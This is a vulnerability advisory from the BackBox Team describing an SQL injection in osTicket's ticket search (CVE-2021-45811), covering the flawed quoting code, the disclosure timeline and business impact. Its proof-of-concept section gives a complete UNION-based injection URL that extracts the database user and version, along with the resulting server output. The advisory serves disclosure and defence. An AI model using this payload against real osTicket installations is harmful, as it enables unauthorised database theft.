osTicket, SQL Injection

/in

# Authors: BackBox Team

I. INTRODUCTION

osTicket is an open-source and widespread ticketing system. One of its latest versions, i.e. v1.15.6, has been found being subject to an SQL Injection vulnerability.

II. DESCRIPTION

SQL Injection (CVE-2021-45811)

The osTicket system allows users to submit tickets and review/update them through the main “tickets.php” page.
Through the same page, any user can search for specific tickets among the list of all the tickets she submitted.
This functionality performs a GET request like the following:

https://host/tickets.php?a=search&keywords=text&topic_id=37

where the “keywords” URL parameter defines the text to search, while the “topic_id” one identifies the “Help Topic” to search for.

When performing the request by providing the “keywords” URL parameter like “text’ :1”, the “System log” under the admin panel returns a MySQL error, where the error query shows that the “:1” part has been substituted with the value of the “topic_id” parameter in one particular occurrence.
As an example, when performing the following:

GET https://host/tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val

a DB Error #1064 is generated and part of the SQL query resulting from the log is as follows:

JOIN (SELECT COALESCE(Z3.object_id, Z5.ticket_id, Z8.ticket_id) as ticket_id, Z1.relevance FROM (SELECT Z1.object_id, Z1.object_type, MATCH (Z1.title, Z1.content) AGAINST ('test\' 'topic_id_val'' IN NATURAL LANGUAGE MODE) AS relevance FROM ost__search Z1 WHERE MATCH (Z1.title, Z1.content) AGAINST ('test\' test :1' IN NATURAL LANGUAGE MODE) ORDER BY relevance DESC)

the SQL snippet clearly shows that the ‘:1’ parameter has been substituted by the value of topic_id, surrounded by single quotes.
Since the SQL statement autonomously surronds the topic_id parameter with single quotes, the first of them will actually close the single quote opened for the keywords, and any subsequent content is interpreted by MySQL as part of the SQL query.

Tracing back the entire flow is a bit complex, since the query generation is fairly complex, however, it can be reduced to the following set of function calls:

  1. The SQL query for the mentioned functionality is generated through an instance of the “MysqlSearchBackend” class, by calling:
    $tickets = $ost->searcher->find($q, $tickets);
    under the “tickets.inc.php” file, where $q is basically the keywords URL parameter.
  2. The “find” call, embeds the $q ($query under the “find” function definition) parameter inside an SQL snippet as follows:
    $search = 'MATCH (Z1.title, Z1.content) AGAINST ('.db_input($query).$mode.')';
    where “db_input” only manages to actually escape single quote parameters, but doesn’t account for colons.
  3. When the query is then going to be executed, the call goes through the “execute” function of the “MySqlExecutor” class, defined in “class.orm.php”.
    The function basically converts the query into a string (via the __toString() method) and just runs it. However, the conversion function, i.e. __toString(), does perform some last minute substitutions of some parameters, specifically those that ideally should be table names or similar.
    In particular, __toString() actually executes the following regex match and replace:
return preg_replace_callback("/:(\d+)(?=([^']*'[^']*')*[^']*$)/",
        function($m) use ($self) {
                $p = $self->params[$m[1]-1];
                switch (true) {
                    case is_bool($p):
                        $p = (int) $p;
                    case is_int($p):
                    case is_float($p):
                        return $p;
                    case $p instanceof DateTime:
                        $p = $p->format('Y-m-d H:i:s');
                    default:
                        return db_real_escape((string) $p, true);
               }
        }, $this->sql);

where the index 1 of “:1” is converted into the corresponding value of $self->params[]. Then, as the resulting “topic_id” value is a string, it goes directly through the “default” case, which, in turn, calls the “db_real_escape” function, with last parameter ($quote) set to true.
The “db_real_escape” function does the following:

function db_real_escape($val, $quote=false) {
    global $__db;

    //Magic quotes crap is taken care of in main.inc.php
    $val=$__db->real_escape_string($val);

    return ($quote)?"'$val'":$val;
}

that is, it calls the default MySQL “real_escape_string”, but then, as the $quote parameter is set to “true”, it actually surrounds the outcoming value with single quotes.
The final sanitization actually causes the issue mentioned before, as it is adding single quotes to an already quoted string.

III. PoC – PROOF OF CONCEPT

A proof of concept is actually pretty complex to report here, due to the length of the query that is normally performed by the web application.
However, a GET request to:

https://host/tickets.php?a=search&keywords=test+':1&topic_id=+IN+NATURAL+LANGUAGE+MODE)+AS+relevance+FROM+ost__search+Z1+WHERE+1%3d1+ORDER+BY+relevance+DESC)+Z1+LEFT+JOIN+ost_thread_entry+Z2+ON+(Z1.object_id+%3d+Z2.id)+LEFT+JOIN+ost_thread+Z3+ON+(Z2.thread_id+%3d+Z3.id)+LEFT+JOIN+ost_ticket+Z5+ON+(Z1.object_id+%3d+Z5.ticket_id)+LEFT+JOIN+ost_user+Z6+ON+(Z6.id+%3d+Z1.object_id)+LEFT+JOIN+ost_organization+Z7+ON+(Z7.id+%3d+Z1.object_id+AND+Z7.id+%3d+Z6.org_id)+LEFT+JOIN+ost_ticket+Z8+ON+(Z8.user_id+%3d+Z6.id))+Z1+UNION+SELECT+user(),@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version%23

is enough to prove that we can successfully extrapolate the mysql user and the mysql version from the server response, whose snippet is shown below:

<tbody>
	<tr id="user_osticket@localhost">
		<td><a class="Icon 8.0.23Ticket" title="8.0.23" href="tickets.php?id=user_osticket@localhost">8.0.23</a></td>
		<td>10/09/21</td>
		<td>8.0.23</td>
		<td><div style="max-height: 1.2em; max-width: 320px;" class="link truncate" href="tickets.php?id=user_osticket@localhost"><i class="icon-group"></i> 8.0.23</div></td>
		<td><span class="truncate">8.0.23</span></td>
	</tr>
</tbody>

IV. BUSINESS IMPACT

With the mentioned vulnerability, an authenticated attacker could potentially exfiltrate the entire content of the database.

V. SYSTEMS AFFECTED

Currently we have no detailed information on the system versions affected. We evidenced the vulnerability in osTicket version 1.15.2, however, the manual code review has been done on the latest GitHub source code, which may suggest that the issue is present up to the latest version as well.

VI. VULNERABILITY HISTORY

September 14th, 2021: Vendor notification

October 6th, 2021: Vendor acknowledged the vulnerability

February 26th, 2022: Private disclosure

March 15th, 2022: CVE received

July 21st, 2022: Request for status update

November 11th, 2022: Request for status update

December 08th, 2022: Request for status update and notification of imminent publication

December 09th, 2022: Vendor answers that fix will require additional time

March 30th, 2023: Public disclosure

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.